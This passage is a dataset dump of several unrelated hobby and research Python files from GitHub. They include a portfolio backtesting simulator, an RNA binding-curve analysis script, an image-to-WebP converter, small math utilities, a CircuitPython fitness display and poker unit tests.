shares:\n            print(\"Not enough shares of {} to sell\".format(tikr))\n            return\n\n        # update portfolio and cash balance\n        self.portfolio[tikr] -= shares\n        if self.portfolio[tikr] == 0:\n            self.active_log.remove(tikr)\n\n        # plus the earning\n        stock_cost = shares * price\n        self.cash += stock_cost\n        # minus trasaction cost\n        self.cash -= stock_cost *  self.transaction_cost\n\n\n        # log transaction\n        self.transaction_log.append({\n            \"type\": \"sell\",\n            \"tikr\": tikr,\n            \"date\": date,\n            \"shares\": shares,\n            \"price\": price,\n            \"amount\": stock_cost ,\n            \"transaction_cost\": stock_cost * self.transaction_cost,\n            \"net_worth\": self.get_net_worth(date)\n        })\n\n    # #TODO\n    # def get_next_trading_date(self,tikr, date):\n        \n    #     return None\n\n    def rebalance(self, percentage, date):\n        \"\"\"\n        Rebalance the portfolio according to a target allocation.\n\n        Parameters\n        ----------\n        percentage : List[float]\n            The target allocation percentages for each stock in the portfolio.\n        date : str or datetime\n            The date to rebalance the portfolio. If str, must be in the format 'YYYYMMDD'.\n\n        Returns\n        -------\n        None\n        \"\"\"\n\n        buy = []\n        \n        # We multiply the net worth by 0.99 to account for transaction\n        # costs incurred during selling. Specifically, the\n        # `sell()` method has a transaction cost of 1 percent, \n        # so we reduce the net worth by 1% to account for this cost.#\n        true_balance = self.get_net_worth(date) * 0.99\n\n        for tikr, percent in zip(self.tikrs, percentage):\n            price = self.get_price(tikr, date)\n            expected_value = true_balance * percent\n            current_value = self.portfolio[tikr] * price\n            allocated_money = expected_value - current_value\n\n            if allocated_money < 0:\n                self.sell(tikr, date, -1 * allocated_money)\n            else:\n                buy += [(tikr, allocated_money )]\n\n        for tikr, allocated_money in buy:\n            self.buy(tikr, date, allocated_money )\n\n\n\n\n    def get_net_worth(self, date):\n        \"\"\"\n        Calculates the net worth of the portfolio on a given date, including\n        cash and holdings of all active stocks in the portfolio.\n        \n        Parameters\n        ----------\n        date : datetime.datetime or str\n            The date on which to calculate the active balance of the portfolio.\n            If str, the accepted format is \"year_month_day\".\n            \n        Returns\n        -------\n        balance : float\n            The net worth of the portfolio on the given date.\n        \"\"\"\n        balance = self.cash\n        for tikr in self.active_log:\n            price = self.get_price(tikr, date)\n            balance += self.portfolio[tikr] * price\n        return balance\n    \n    def print_portfolio(self, date):\n        \"\"\"\n        Prints the percentage of the portfolio holdings that are invested in each\n        active stock in the portfolio, based on the net worth on the given date.\n        \n        Parameters\n        ----------\n        date : datetime.datetime or str\n            The date on which to calculate the active balance of the portfolio.\n            If str, the accepted format is \"year_month_day\".\n            \n        Returns\n        -------\n        None\n        \"\"\"\n        net_worth = self.get_net_worth(date)\n        print(\"portfolio_allocation on\", date)\n        for tikr in self.tikrs:\n            price = self.get_price(tikr, date)\n            tikr_holding = self.portfolio[tikr] * price\n            \n            print(tikr, tikr_holding/net_worth)\n        print('cash', self.cash)\n        print()\n            \n\n    def transaction_summary(self):\n        \"\"\"\n        Prints a summary of all transactions made in the portfolio, including\n        the date, type, number of shares, stock ticker, price per share,\n        transaction amount, transaction cost, and remaining balance.\n        \n        Returns\n        -------\n        None\n        \"\"\"\n        for txn in self.transaction_log:\n            print(\"{} {} {} shares of {} at ${:.2f} for ${:.2f} (transaction cost: ${:.2f}), balance: ${:.2f}\".format(\n                txn['date'], txn['type'], txn['shares'], txn['tikr'], txn['price'], txn['amount'], txn['transaction_cost'], txn['net_worth']))\n\n\"\"\"\ndef trading_strategy(\n        predictions: List[tuple],\n        company_list: List[str]\n            ) -> Dict[datetime, List[float]]:\n    #Calculate portfolio holdings at time intervals given 8-K labels.\n\n    strategy = dict()\n\n    return strategy\n\"\"\"\n\ndef load_historical_data(filename):\n    with open(filename, 'rb') as handle:\n        tikr_dict = pickle.load(handle)\n        return tikr_dict\n\ndef get_strategy_annual_return(\n        strategy: Dict[datetime, List[float]],\n        company_list: List[str],\n        end_date: datetime,\n        starting_balance: int = 1e7,\n        start_date: datetime = '20000101' ,\n        silence = True) -> float:\n    \"\"\"\n    Calculate annual return over time period.\n    \n    Parameters\n    ----------\n    strategy: Dict[datetime, List[float]]\n        A dictionary of portfolio rebalance dates associated with portfolio\n        allocation percentages. The portfolio allocation percentages share the\n        same indexing as company_list.\n    company_list: List[str]\n        The companies invested into by the trading strategy percent allocation.\n    start_date: datetime, str\n        Accepted format \"year_month_day\", or datetime object. The first day of\n        trading.\n    end_date: datetime, str\n        Accepted format \"year_month_day\", or datetime object. The final day of\n        trading used to determine net worth and annualized return.\n    starting_balance: int\n        The initial amount of money invested.\n\n    Returns\n    -------\n    Annualized Return: float\n        The annualized return rate, where 0% return indicates 1.00.\n    \"\"\"\n    TIKRS_dat = load_historical_data('TIKR_DATA.pickle')\n\n    if type(start_date) is str:\n        start_date = datetime.strptime(start_date, \"%Y%m%d\")\n    if type(end_date) is str:\n        end_date = datetime.strptime(end_date, \"%Y%m%d\")\n\n    s = StockSimulation(TIKRS_dat, cash = starting_balance, tikrs = company_list)\n    for date, portfolio_allocation in strategy.items():\n        # At each date, rebalance current networth to be distributed\n        # percentage-wise between companies in portfolio_allocations\n        s.rebalance(percentage= portfolio_allocation, date = date)\n        if not silence:\n            s.print_portfolio(date)\n    if not silence:\n        s.transaction_summary()\n\n    # Calculate the number of days between the start and end dates\n    delta_days = (end_date - start_date).days\n\n    # Calculate the fractional number of years using the total number of days\n    n = delta_days / 365.25  # assuming a leap year every 4 years   \n\n\n    return (s.get_net_worth(end_date)/starting_balance) \\\n            ** ( 1 / n)  - 1\n","repo_name":"kamilkrukowski/sec-sentiment-pred","sub_path":"portfolio_eval.py","file_name":"portfolio_eval.py","file_ext":"py","file_size_in_byte":11360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40953583674","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 20 12:04:57 2018\n\n@author: Steve\n\"\"\"\n\n# This script visualizes binding curves\n'''--------------Import Libraries--------------------'''\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom matplotlib.pyplot import *\nimport scipy.cluster.hierarchy as sch\nimport sklearn.decomposition as skd\nfrom scipy.cluster.hierarchy import cophenet\nfrom scipy.spatial.distance import pdist\nfrom scipy.cluster.hierarchy import fcluster\nfrom sklearn.neighbors import NearestNeighbors\n#%% TAKES A LONG TIME SO ONLY RUN ONCE!!!!!!!!!\n\n\ndata_path = '/Users/Steve/Desktop/Data_analysis_code/Data/'\n\n#binding data contains the averaged data for all clusters for each variant\n#This data apparently still has not been averaged across datasets.\n#So, for GAAA at 30 mM Mg, there are 2 datasets, and this suggests that the \n#data that I have been using for the rest of the analysis consists of the \n#average between two of the binding data files. \nbinding_data = pd.read_csv(data_path + 'Mut2_GAAA_1.PerVariant.CPseries',\n                           delim_whitespace = True)\nbinding_data_GUAA = pd.read_csv(data_path + 'Mut2_GUAA_1.PerVariant.CPseries',\n                           delim_whitespace = True)\n\nbinding_data = binding_data.set_index('variant_number')\nbinding_data_GUAA = binding_data_GUAA.set_index('variant_number')\n\n#%%\n#the fitted data file contains the fitted parameters for each cluster. \nfitted_data_GAAA1 = pd.read_csv(data_path + 'Mut2_GAAA_1.CPfitted',\n                           delim_whitespace = True) \n\nfitted_data_GAAA2 = pd.read_csv(data_path + 'Mut2_GAAA_2.CPfitted',\n                           delim_whitespace = True) \n#%% Contains the parameters that went into the spreadsheets that I have been using\n#for the rest of the analysis\nerror_scaled_GUAA = pd.read_csv(data_path + 'Mut2_GUAA_1.error_scaled.CPvariant',\n                           delim_whitespace = True)\n\nerror_scaled_GAAA1 = pd.read_csv(data_path + 'Mut2_GAAA_1.error_scaled.CPvariant',\n                           delim_whitespace = True)\n\nerror_scaled_GAAA2 = pd.read_csv(data_path + 'Mut2_GAAA_2.error_scaled.CPvariant',\n                           delim_whitespace = True)\n\n\n\n\n#%% get data from spreadsheet--> this is the summarized data\nlib_data = pd.read_csv(data_path + 'tectorna_results_tertcontacts.180122.csv')\nlib_data['new_name'] = lib_data.r_seq + lib_data.r_name\nprint(lib_data.shape)\nlib_data  = lib_data.drop_duplicates(subset='seq')\nprint(lib_data.shape)\nlib_data = lib_data.set_index('variant_number')\nWT_data = lib_data[lib_data.r_seq == 'UAUGG_CCUAAG']\n#%%\nall_data = pd.read_csv(data_path + 'tectorna_results_tertcontacts.180122.csv')\nall_data = all_data.drop_duplicates(subset='seq')\nall_11ntR = pd.read_csv(data_path + 'all_11ntRs_unique.csv' )\nmask = ((all_11ntR.b_name == 'normal') & (all_11ntR.no_mutations == 1)) | ((all_11ntR.b_name == 'normal') & (all_11ntR.no_mutations == 0))\nsingle_11ntR_mutants = all_11ntR[mask].copy()\nsingle_11ntR_mutants['new_name'] = single_11ntR_mutants['r_name'] + '_' + single_11ntR_mutants['r_seq']\nunique_receptors = list(set(single_11ntR_mutants['r_seq']))\n\n#%%get only the data that made it to the summary table after filtering\nA = all_data.copy()\nA = A.set_index('variant_number')\ndG_30mM = A['dG_Mut2_GAAA']\ndG_30mM = dG_30mM.dropna()\n\nfiltered_GAAA_1 = error_scaled_GAAA1.loc[dG_30mM.index]\nfiltered_GAAA_2 = error_scaled_GAAA2.loc[dG_30mM.index]\nplt.scatter(filtered_GAAA_1['dG'],filtered_GAAA_2['dG'])\nplt.xlim(-14,-6)\nplt.ylim(-14,-6)\ndifferences = filtered_GAAA_1['dG'] - filtered_GAAA_2['dG']\ndifferences = differences.apply('abs') \n\ndG_30mM = A['dG_Mut2_GAAA'].copy()\ndG_30mM[dG_30mM > 7.1] = np.nan\ndG_30mM = dG_30mM.dropna()\n\nfiltered_GAAA_1 = error_scaled_GAAA1.loc[dG_30mM.index]\nfiltered_GAAA_2 = error_scaled_GAAA2.loc[dG_30mM.index]\ndifferences = filtered_GAAA_1['dG'] - filtered_GAAA_2['dG']\ndifferences = differences.apply('abs') \nfraction_below_0p5 = len(differences[differences > 0.5])/len(differences)\nprint('fraction below 0.5 kcal/mol: ' + str(1 - fraction_below_0p5))\n\n\nfraction_below_1 = len(differences[differences > 1])/len(differences)\nprint('fraction below 1 kcal/mol: ' + str(1 - fraction_below_1))\n#%%\n\n\n\n\n\n\n#%%\n#this table tracks each variant to all the cluster IDs correspondinf to that variant.\ntable_variants = pd.read_csv(data_path + 'tecto_undetermined.CPannot.CPannot',\n                           delim_whitespace = True)\ngroup_cluster_variants = table_variants.groupby(by='variant_number')\n#%%\nfitted_data_GAAA1 = fitted_data_GAAA1.set_index('clusterID')\nfitted_data_GAAA2 = fitted_data_GAAA2.set_index('clusterID')\n\n#%% I was doing this to see which data were missing\n#after discussing with Sarah, we determined that the data that was missing\n#belongs to variants that did not have enough clusters to pass the threshold\n#of 5. \nnan_GUAA = all_data[all_data['dG_Mut2_GUAA_1'].isna()]\nprint('number of missing data with GUAA: ' + str(len(nan_GUAA)))\nvariants_nan_GUAA = list(nan_GUAA['variant_number'])\noriginal_data_GUAA = pd.DataFrame(index = variants_nan_GUAA)\ndG_list = []\nub_list = []\nlb_list = []\ncluster_list = []\nfor variants in variants_nan_GUAA:\n    err_scaled_GUAA_variant = error_scaled_GUAA.loc[variants]['dG']\n    up_bound = error_scaled_GUAA.loc[variants]['dG_ub']\n    low_bound = error_scaled_GUAA.loc[variants]['dG_lb']\n    dG_list.append(err_scaled_GUAA_variant)\n    ub_list.append(up_bound)\n    lb_list.append(low_bound)\n    cluster_list.append(error_scaled_GUAA.loc[variants]['numClusters'])\noriginal_data_GUAA['dG'] = dG_list\noriginal_data_GUAA['dG_lb'] = lb_list\noriginal_data_GUAA['dG_ub'] = ub_list\noriginal_data_GUAA['numClusters'] = cluster_list\n\nplt.hist(original_data_GUAA.numClusters.dropna(),bins=range(0,50))\n#%%This code below I wrote to figure out that there was a correspondence between\n#the values in the summary spreadsheet and the values in the error scaled files.\ntemp_WT = all_data[all_data.r_seq == 'UAUGG_CCUAAG']\ntemp_WT = temp_WT.set_index('variant_number')\nidx = 2\nprint('test variant number :' + str(temp_WT.index[idx]))\ndG_GUAA = temp_WT.loc[temp_WT.index[idx]]['dG_Mut2_GUAA_1']\nprint(dG_GUAA)\n\n#the variant # agrees in both the cvs spreadsheet and the error scaled file\nerr_scaled_GUAA_variant = error_scaled_GUAA.loc[temp_WT.index[idx]]['dG']\nprint('entered in cvs table is :' + str(err_scaled_GUAA_variant))\n#%%\n#for variant # (240 in this case )\n#find all clusters associated with that variant and plot the median dG\nvariant = 44500\nclusters_variant = group_cluster_variants.get_group(variant)\n\n\ndata_variant = fitted_data_GAAA1.loc[list(clusters_variant['clusterID'])]\nprint('the median from individual clusters is ' + str(data_variant['dG'].median()))\n\ndata_variant2 = fitted_data_GAAA2.loc[list(clusters_variant['clusterID'])]\nprint('the median from individual clusters is ' + str(data_variant2['dG'].median()))\n\n# this number should roughly agree with that in the spreadshet\ndG_variant = all_data[all_data['variant_number'] ==  variant]['dG_Mut2_GAAA']\nprint('the value reported in the spreadsheet is ' + str(dG_variant))\n\n\n#%%\n\n\n\n\n\n#%%\ntemp = WT_data[WT_data.old_idx == '240']\n#%%\n#data point for WT at high affinity ~12 kcal/mol\nWT_data = WT_data[WT_data.b_name == 'normal']\nall_WT_variants = list(WT_data.index)\n#%%\nfor variant in all_WT_variants[20:30]:\n    fluorescence = binding_data.loc[variant]\n    concentration = pd.Series([0.91e-9,2.74e-9,8.23e-9,24.7e-9,74.1e-9,222e-9,667e-9,2e-6])\n    plt.figure()\n    ax = plt.gca()\n    ax.scatter(concentration,fluorescence)\n    ax.set_xlim(0.1e-9,2000e-9)\n    ax.set_xscale('log')\n#%%\nvariant = 12563\nfluorescence = binding_data.loc[variant]\nconcentration = pd.Series([0.91e-9,2.74e-9,8.23e-9,24.7e-9,74.1e-9,222e-9,667e-9,2e-6])\nplt.figure()\nax = plt.gca()\nax.scatter(concentration,fluorescence)\nax.set_xlim(0.1e-9,2000e-9)\nax.set_xscale('log')\nax.set_title('GAAA') \n#%%   \n    \nfluorescence = binding_data_GUAA.loc[variant]\nconcentration = pd.Series([0.91e-9,2.74e-9,8.23e-9,24.7e-9,74.1e-9,222e-9,667e-9,2e-6])\nplt.figure()\nax = plt.gca()\nax.scatter(concentration,fluorescence)\nax.set_xlim(0.1e-9,2000e-9)\nax.set_xscale('log')\n#%%\nreceptor = 'CAUGG_CCUAAG'\nreceptor_data = single_11ntR_mutants[single_11ntR_mutants.r_seq == receptor].copy()\nvariants = list(receptor_data.variant_number)\ndG_GUAA = list(receptor_data.dG_Mut2_GUAA_1)\n\ncounter = -1\nfor variant in variants:\n    counter += 1\n    fluorescence = binding_data_GUAA.loc[variant]\n    concentration = pd.Series([0.91e-9,2.74e-9,8.23e-9,24.7e-9,74.1e-9,222e-9,667e-9,2e-6])\n    plt.figure()\n    ax = plt.gca()\n    ax.scatter(concentration,fluorescence)\n    ax.set_xlim(0.1e-9,2000e-9)\n    ax.set_xscale('log')\n    ax.set_title(str(dG_GUAA[counter]))\n    \n    \n#%%\nnan_GUAA = all_data[all_data['dG_Mut2_GUAA_1'].isna()]\nprint ('missing values with GUAA: ' + str(len(nan_GUAA)))\nnan_GUAA_variants = list(nan_GUAA.variant_number)\nnan_GUAA_dG = list(nan_GUAA.dG_Mut2_GUAA_1)\ncounter = -1\nfor variant in nan_GUAA_variants[10:20]:\n    counter += 1\n    fluorescence = binding_data_GUAA.loc[variant]\n    concentration = pd.Series([0.91e-9,2.74e-9,8.23e-9,24.7e-9,74.1e-9,222e-9,667e-9,2e-6])\n    plt.figure()\n    ax = plt.gca()\n    ax.scatter(concentration,fluorescence)\n    ax.set_xlim(0.1e-9,2000e-9)\n    ax.set_xscale('log')\n    ax.set_title('variant number' + str (variant))\n#%%\nnan_GAAA = all_data[all_data['dG_Mut2_GAAA'].isna()]\nprint ('missing values with GAAA: ' + str(len(nan_GAAA)))\nnan_GAAA_variants = list(nan_GAAA.variant_number)\nnan_GAAA_dG = list(nan_GAAA.dG_Mut2_GAAA)\ncounter = -1\nfor variant in nan_GAAA_variants[20:30]:\n    counter += 1\n    fluorescence = binding_data.loc[variant]\n    concentration = pd.Series([0.91e-9,2.74e-9,8.23e-9,24.7e-9,74.1e-9,222e-9,667e-9,2e-6])\n    plt.figure()\n    ax = plt.gca()\n    ax.scatter(concentration,fluorescence)\n    ax.set_xlim(0.1e-9,2000e-9)\n    ax.set_xscale('log')\n    ax.set_title('variant number: ' + str(variant))\n#%%\n    \nx = all_data[all_data.variant_number == 11332]\n","repo_name":"bonils/TL_TLR_CHIP_Data","sub_path":"binding_curve_analysis.py","file_name":"binding_curve_analysis.py","file_ext":"py","file_size_in_byte":10096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"462444831","text":"import os\nfrom tkinter import *\nfrom tkinter import filedialog\nfrom tkinter import messagebox\nfrom tkinter.ttk import Progressbar, Style\nfrom PIL import Image\n\n\ndef select_images():\n    global selected_images\n    selected_images = filedialog.askopenfilenames(\n        filetypes=((\"JPEG files\", \"*.jpg;*.jpeg\"),\n                   (\"PNG files\", \"*.png\"), (\"All files\", \"*.*\")))\n    image_listbox.delete(0, END)\n    for filename in selected_images:\n        image_listbox.insert(END, filename)\n    if selected_images:\n        convert_button['state'] = 'normal'\n    else:\n        convert_button['state'] = 'disabled'\n    download_button['state'] = 'disabled'\n\n\ndef convert_to_webp(filename):\n    img = Image.open(filename)\n    webp_filename = os.path.splitext(filename)[0] + \".webp\"\n    img.save(webp_filename, \"WebP\", lossless=True)\n\n\ndef convert_images():\n    global converted_images\n    converted_images = []\n    progress_bar[\"maximum\"] = len(selected_images)\n    for i, filename in enumerate(selected_images, start=1):\n        convert_to_webp(filename)\n        progress_bar[\"value\"] = i\n        root.update_idletasks()\n        converted_images.append(os.path.splitext(filename)[0] + \".webp\")\n    messagebox.showinfo(\"Success\", \"Conversion complete\")\n    download_button['state'] = 'normal'\n\n\ndef download_images():\n    filetypes = ((\"WebP files\", \"*.webp\"), (\"All files\", \"*.*\"))\n    filename = filedialog.asksaveasfilename(\n        title=\"Save Images\", filetypes=filetypes)\n    if filename:\n        for image in converted_images:\n            webp_filename = os.path.join(\".\", image)\n            with open(webp_filename, \"rb\") as f:\n                with open(filename, \"ab\") as out_file:\n                    out_file.write(f.read())\n\n\nselected_images = []\nconverted_images = []\n\nroot = Tk()\nroot.title(\"Image Converter\")\nroot.geometry(\"400x400\")\n\nstyle = Style()\nstyle.configure(\"TButton\", font=(\"Helvetica\", 12), padding=10)\n\nselect_button = Button(root, text=\"Select Images\", command=select_images)\nselect_button.pack(padx=10, pady=10)\n\nimage_listbox = Listbox(root, selectmode=MULTIPLE, height=10)\nimage_listbox.pack(padx=10, pady=10)\n\nconvert_button = Button(root, text=\"Convert to WebP\",\n                        command=convert_images, state='disabled')\nconvert_button.pack(padx=10, pady=10)\n\nprogress_bar = Progressbar(root, orient=HORIZONTAL,\n                           length=300, mode='determinate')\nprogress_bar.pack(padx=10, pady=10)\n\ndownload_button = Button(root, text=\"Download WebP Images\",\n                         command=download_images, state='disabled')\ndownload_button.pack(padx=10, pady=10)\n\nroot.mainloop()\n","repo_name":"ryanbakkerNZ/webp-convert","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17325140223","text":"#!/usr/bin/env python\nfrom functools import reduce\n\n\ndef gcd(a, b):\n    \"\"\"最大公約数\n    \"\"\"\n    while b:\n        a, b = b, a % b\n    return a\n\n\ndef lcm(a, b):\n    \"\"\"最小公倍数\n    \"\"\"\n    return a * b // gcd(a, b)\n\n\nif __name__ == \"__main__\":\n    # 複数あるとき\n    X = [4, 6, 8, 40, 128]\n    print(\"X\", X)\n    print(\"gcd\", reduce(gcd, X))\n    print(\"lcm\", reduce(lcm, X))\n","repo_name":"HiroshiOkada/a-small-collection-of-algorithms","sub_path":"gcd_lcm.py","file_name":"gcd_lcm.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12370402252","text":"import displayio\nimport time\n#import board\n#import digitalio\nimport terminalio\nfrom adafruit_display_text.label import Label\nfrom adafruit_gizmo import tft_gizmo\n#from adafruit_circuitplayground import cp\n\ndisplay = tft_gizmo.TFT_Gizmo()\n\ndef imagedisplay(word):\n    #display_group = displayio.Group()\n    # Display graphic from the root directory of the CIRCUITPY drive\n    filename = \"/\" + word + \".bmp\"\n    file = open(filename, \"rb\")\n    picture = displayio.OnDiskBitmap(file)\n    # Create a Tilegrid with the bitmap and put in the displayio group\n    sprite = displayio.TileGrid(picture, pixel_shader=displayio.ColorConverter())\n    group.append(sprite)\n    #display.refresh(target_frames_per_second=60)\n    # Place the display group on the screen\n    #display.show(group)\n    #display.refresh()\n\ndef message(text, axisX, axisY, color):\n    text_group = displayio.Group(max_size=1, scale=2)\n    label = Label(terminalio.FONT, text=text)\n    if color == \"white\":\n        color = 0xFFFFFF\n    if color == \"red\":\n        color = 0xFF0000\n    if color == \"blue\": \n        color = 0x0000FF\n    if color == \"green\":\n        color = 0x00CC00\n    label.color = color\n    #if bgcolor == \"white\":\n    #    bgcolor = 0xFFFFFF\n    #if bgcolor == \"red\":\n    #    bgcolor = 0xFF0000\n    #if bgcolor == \"blue\": \n    #    bgcolor = 0x0000FF\n    #if bgcolor == \"green\":\n    #    bgcolor = 0x00FF00\n    #label.background_color = bgcolor\n    (x, y, w, h) = label.bounding_box\n    #label.x = (80 - w // 2)\n    label.x = axisX\n    #label.y = (64 - h // 2)\n    label.y = axisY\n    text_group.append(label)\n    #group.append(label)\n    group.append(text_group)\n\ndef splashScreen(color):\n    splashBitmap = displayio.Bitmap(20, 20, 1)\n    splashPalette = displayio.Palette(1)\n    if color == \"white\":\n        color = 0xFFFFFF\n    if color == \"red\":\n        color = 0xFF0000\n    if color == \"blue\": \n        color = 0x0000FF\n    if color == \"green\":\n        color = 0x00FF00\n    splashPalette[0] = color\n    splashSprite = displayio.TileGrid(splashBitmap, pixel_shader=splashPalette, x=0, y=0)\n    group.append(splashSprite)\n\ngroup = displayio.Group(max_size=3)\ndisplay.show(group)\nimagedisplay(\"white\")\ntime.sleep(4)\ndef displayloop():\n    imagedisplay(\"swimbikeruntop\")\n    #time.sleep(2)\n    #imagedisplay(\"bikerunswimside\")\n    #time.sleep(2)\n    #message(\"Total Activities: %s\" % summaryList[\"Total Activities\"], 30, 40)\n    message(\"7 Day Totals \\n Activities: %s \\n Time: %s\" %(summaryList[\"Total Activities\"], summaryList[\"Total Time\"]), 1, 70, \"green\")\n    time.sleep(8)\n    #group.pop()\n    group.pop()\n    group.pop()\n    time.sleep(2)\n    #for i in range(100):\n    #    display.brightness = 0.01 * i\n    #    time.sleep(0.05)\n    imagedisplay(\"bike\")\n    message(\"Rides: %s \\n Distance: %s \\n Avg Watts: %s\" %(summaryList[\"Total Rides\"], summaryList[\"Total Ride Miles\"], summaryList[\"Average Watts\"]), 1, 90, \"blue\")\n    time.sleep(8)\n    group.pop()\n    group.pop()\n    time.sleep(2)\n    imagedisplay(\"run\")\n    message(\"Runs: %s \\n Distance: %s \\n Avg Pace: %s\" %(summaryList[\"Total Runs\"], summaryList[\"Total Run Miles\"], summaryList[\"Average Run Pace\"]), 1, 90, \"red\")\n    time.sleep(8)\n    group.pop()\n    group.pop()\n    time.sleep(2)\n\nwith open('/stats.json') as filehandle:\n    filecontents = filehandle.readlines()\nfilehandle.close()\n\nsummaryList = {}\nfor line in filecontents:\n    # remove linebreak which is the last character of the string\n    if len((line[:-1]).split(\":\")) == 2:\n        key = (line[:-1]).split(\":\")[0]\n        value = line[:-1].split(\":\")[1]\n        summaryList[key] = value\n    else:\n        key = (line[:-1]).split(\":\")[0]\n        value = line[:-1].split(\":\")[1] + \":\" + line[:-1].split(\":\")[2]\n        summaryList[key] = value\n\nwhile True:\n    displayloop()\n    #pass","repo_name":"jchand7751/maker-public","sub_path":"sportdisplay_small/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4458585180","text":"\"\"\"\nDate:17/06/2021\nThe following program is for conversion from decimal to given base and vice versa\n\"\"\"\n\n#conversion of num from Base:10 to Base:base \ndef dec_to_base(num,base):\n    ans=0\n    i=0\n    while(num):\n        rem=num%base\n        ans+=pow(10,i)*rem\n        num//=base\n        i+=1\n    return ans\n\n#conversion of number from Base:base to base:10\ndef base_to_decimal(num,base):\n    ans=0\n    i=0\n    while(num):\n        #ans*=10\n        rem=num%10\n        ans+=pow(base,i)*rem\n        num//=10\n        i+=1\n\n    return ans\n    \nprint(base_to_decimal(dec_to_base(1000,4),4))","repo_name":"SandeepPadhi/Algorithmic_Database","sub_path":"Math/Base_Conversion.py","file_name":"Base_Conversion.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"26832334528","text":"import torch\nimport torch.multiprocessing as mp\n\nfrom dp.preprocess import preprocess\nfrom dp.train import train\n\nif __name__ == '__main__':\n\n    train_data = [('en_us', 'young', 'jʌŋ'),\n                  ('de', 'benützten', 'bənʏt͡stn̩'),\n                  ('de', 'gewürz', 'ɡəvʏʁt͡s')] * 1000\n\n    val_data = [('en_us', 'young', 'jʌŋ'),\n                ('de', 'benützten', 'bənʏt͡stn̩')] * 100\n\n    config_file = 'dp/configs/forward_config.yaml'\n\n    preprocess(config_file=config_file,\n               train_data=train_data,\n               val_data=val_data,\n               deduplicate_train_data=False)\n\n    num_gpus = torch.cuda.device_count()\n\n    if num_gpus > 1:\n        mp.spawn(train, nprocs=num_gpus, args=(num_gpus, config_file))\n    else:\n        train(rank=0, num_gpus=num_gpus, config_file=config_file)","repo_name":"yuhangear/DeepPhonemizer","sub_path":"run_training.py","file_name":"run_training.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"6630983353","text":"import unittest\nfrom unittest.mock import MagicMock, call\n\nfrom poker.card import Card\nfrom poker.game import Game\n\n\nclass GameTest(unittest.TestCase):\n    def setUp(self):\n        self.first_two_cards = [\n            Card(rank=\"3\", suit=\"Hearts\"),\n            Card(rank=\"9\", suit=\"Diamonds\"),\n        ]\n        self.second_two_cards = [\n            Card(rank=\"Jack\", suit=\"Clubs\"),\n            Card(rank=\"10\", suit=\"Clubs\"),\n        ]\n        self.flop_cards = [\n            Card(rank=\"2\", suit=\"Diamonds\"),\n            Card(rank=\"4\", suit=\"Hearts\"),\n            Card(rank=\"10\", suit=\"Spades\"),\n        ]\n        self.turn_card = [Card(rank=\"Ace\", suit=\"Clubs\")]\n        self.river_card = [Card(rank=\"10\", suit=\"Hearts\")]\n\n    def test_stores_deck_and_players(self):\n        deck = MagicMock()\n        players = [MagicMock(), MagicMock()]\n\n        game = Game(deck=deck, players=players)\n\n        self.assertEqual(game.deck, deck)\n\n        self.assertEqual(game.players, players)\n\n    def test_game_play_shuffles_deck(self):\n        mock_deck = MagicMock()\n\n        players = [MagicMock(), MagicMock()]\n\n        game = Game(deck=mock_deck, players=players)\n\n        game.play()\n        mock_deck.shuffle.assert_called_once()\n\n    def test_deals_two_initial_cards_from_deck_to_each_player(self):\n        mock_deck = MagicMock()\n        mock_deck.remove_cards.side_effect = [\n            self.first_two_cards,\n            self.second_two_cards,\n            self.flop_cards,\n            self.turn_card,\n            self.river_card,\n        ]\n\n        mock_player1 = MagicMock()\n        mock_player2 = MagicMock()\n        players = [mock_player1, mock_player2]\n\n        game = Game(deck=mock_deck, players=players)\n\n        game.play()\n\n        # Test that remove_cards has been called twice\n        # Test that remove_cards was called with the argument 2 each time\n        mock_deck.remove_cards.assert_has_calls([call(2), call(2)])\n\n        # Test that, at some point in the execution,\n        # add_cards was called with the first two cards drawn from the deck\n        mock_player1.add_cards.assert_has_calls([call(self.first_two_cards)])\n        mock_player2.add_cards.assert_has_calls([call(self.second_two_cards)])\n\n    def test_removes_player_if_not_willing_to_make_bet(self):\n        mock_deck = MagicMock()\n        mock_player1 = MagicMock()\n        mock_player1.wants_to_fold.return_value = True\n        mock_player2 = MagicMock()\n        mock_player2.wants_to_fold.return_value = False\n\n        players = [mock_player1, mock_player2]\n\n        game = Game(deck=mock_deck, players=players)\n        game.play()\n\n        self.assertEqual(game.players, [mock_player2])\n\n    def test_deals_each_player_3_flop_1_turn_and_1_river_card(self):\n        mock_player1 = MagicMock()\n        mock_player1.wants_to_fold.return_value = False\n        mock_player2 = MagicMock()\n        mock_player2.wants_to_fold.return_value = False\n        players = [mock_player1, mock_player2]\n\n        mock_deck = MagicMock()\n        mock_deck.remove_cards.side_effect = [\n            self.first_two_cards,\n            self.second_two_cards,\n            self.flop_cards,\n            self.turn_card,\n            self.river_card,\n        ]\n\n        game = Game(deck=mock_deck, players=players)\n        game.play()\n        # Test that we made a call to the Deck with the remove_cards method\n        # with an argument of 3\n        mock_deck.remove_cards.assert_has_calls([call(3), call(1), call(1)])\n        # Test that we've called the 'add_cards' method on each player\n        # with all three community calls\n        calls = [call(self.flop_cards), call(self.turn_card), call(self.river_card)]\n\n        for player in players:\n            player.add_cards.assert_has_calls(calls)\n","repo_name":"nualagr/poker","sub_path":"tests/test_game.py","file_name":"test_game.py","file_ext":"py","file_size_in_byte":3757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
